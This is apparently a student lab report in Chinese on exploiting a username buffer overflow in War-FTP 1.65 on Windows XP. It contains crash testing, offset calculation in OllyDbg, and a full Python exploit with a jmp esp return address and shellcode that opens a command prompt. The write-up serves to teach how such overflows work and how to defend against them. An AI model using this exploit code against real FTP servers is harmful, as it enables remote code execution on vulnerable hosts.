warftp-exp

war-ftp 缓冲区溢出攻击

实验目的

  1. 掌握缓冲区溢出的原理
  2. 掌握常用的缓冲区溢出方法
  3. 理解缓冲区溢出的危害性
  4. 掌握防范和避免缓冲区溢出攻击的方法

实验环境

  1. 虚拟机 winXP sp3

    • 安装war-ftp 服务器
    • 关闭DEP
    • 安装OllyDBG
  2. 主机 mac (攻击方)

    1
    2
    » uname -a
    Darwin challengedeMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64

    安装ftp命令

    1
    2
    3
    4
    5
    6
    安装
    brew install telnet
    brew install inetutils
    brew link --overwrite inetutils
    使用
    ftp server-ip
  1. 其他

    • ActivePerl:提供perl运行环境
    • patternCreate.pl:构造不重复的字符
    • patternOffset.pl:计算来前者产生的字符串中某段字符的偏移量。

实验内容

分析war-ftp v1.65的基于用户名的缓冲溢出漏洞。漏洞点:向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n)。

详细过程

验证漏洞

在虚拟机开启 ftp 服务。
2

tips:
初次打开可能会显示
War-FTP refuses to restart with the error Unknown format for user database
解决:删除FtpDaemon.dat 和 FtpDaemon.ini文件 再重新打开即可。
1

主机连接ftp,在用户名处输入500个a测试

3
4

发现服务器端并没有崩溃,并且显示的字符显然没有500个,查阅资料ftp命令对USER长度有限制,当USER长度超过78个字符时,系统只截取前78个字符发送给目标主机。

试了几个ftp客户端发现同样会截断,最后选择直接采用socket编程实现发送命令,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
expftp.py

import socket
import os
import sys


try:
#create an AF_INET(IPv4), STREAM socket (TCP)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
sys.exit();
print 'socket created'

sock.connect(('10.211.55.13', 21))
print 'Socket Connected to 10.211.55.13'

s = sock.recv(4096)
print s

payload = b'USER ' + b'a' * 500 + b'\r\n'

try:
sock.sendall(payload)
except socket.error:
print 'send failed'
sys.exit()

print 'message send successfully'

sock.close()

测试 发现程序确实收到字符并且卡住了

5
6

od调试 分析栈结构

为了定位程序溢出时栈中 ret、esp 等的精确位置,这里用 patternCreate.pl 构造1000个不重复的字节。

7
8

OD attach 调试

9

payload 修改之后发送 exp

1
2
test = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
payload = b'USER ' + test + b'\r\n'

10

可以看到,此时,esp 为 00B2FD58 该地址内容为71413471,eip 为 32714131。通过patternOffset.pl计算出它在整个长为 1000的字符串中的偏移分别是493和485.

11

在return指令执行之前 栈的结构如下,

1
2
3
4
5
6
7
8

                   +-----------------+
| |
| |
| |
| USERNAME |
esp, 0x00B2FD50--->+-----------------+
| 0x32714131 |
+-----------------+

执行ret之后,0x32714131赋给eip,esp 往后4个字节,指向0x00B2FD58,此时eip执行0x32714131处的指令,显然出错。

1
2
3
4
5
6
7
8
9
10
11

                   +-----------------+
| |
| |
| |
| USERNAME |
+-----------------+
| 0x32714131 | +-----------------+
| |
esp, 0x00B2FD58--->+-----------------+
| 0x71413471 |
+-----------------+

构造exploit

如果将0x32714131换成指令jmp esp的地址(0x7ffa4512),再将0x00B2FD58位置的0x71413471填入shellcode,程序在ret之后即执行shellcode。构造如下:在偏移485的位置填入jmp esp指令的地址,偏移493的位置写shellcode,其他填充NOP指令。

1
2
3
4
5
6
7
8
9
10
11

  0--->+-----------------+
| |
| |
| |
| USERNAME |
485--->+-----------------+
| 0x7ffa4512 | +-----------------+
| |
493--->+-----------------+
| shellcode |
+-----------------+

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
expftp.py

import socket
import os
import sys

try:
#create an AF_INET(IPv4), STREAM socket (TCP)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
sys.exit();
print 'socket created'

sock.connect(('10.211.55.13', 21))
print 'Socket Connected to 10.211.55.13'

s = sock.recv(4096)
print s

# payload
jmpesp = b'\x12\x45\xfa\x7f'
# len(shellcode) = 111 ; open CMD
shellcode = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"\
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"\
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"\
"\x77\x1d\x80\x7c"\
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"\
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"\
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"\
"\x50\xB8"\
"\xc7\x93\xbf\x77"\
"\xFF\xD0"\
"\x83\xC4\x12\x5D"\

payload = b'USER ' + b'\x90' * 485 + jmpesp + b'\x90' * 4 + shellcode + b'\r\n'


try:
sock.sendall(payload)
except socket.error:
print 'send failed'
sys.exit()

print 'message send successfully'

sock.close()

测试结果

测试成功,shellcode的功能是打开CMD

12

感谢支持~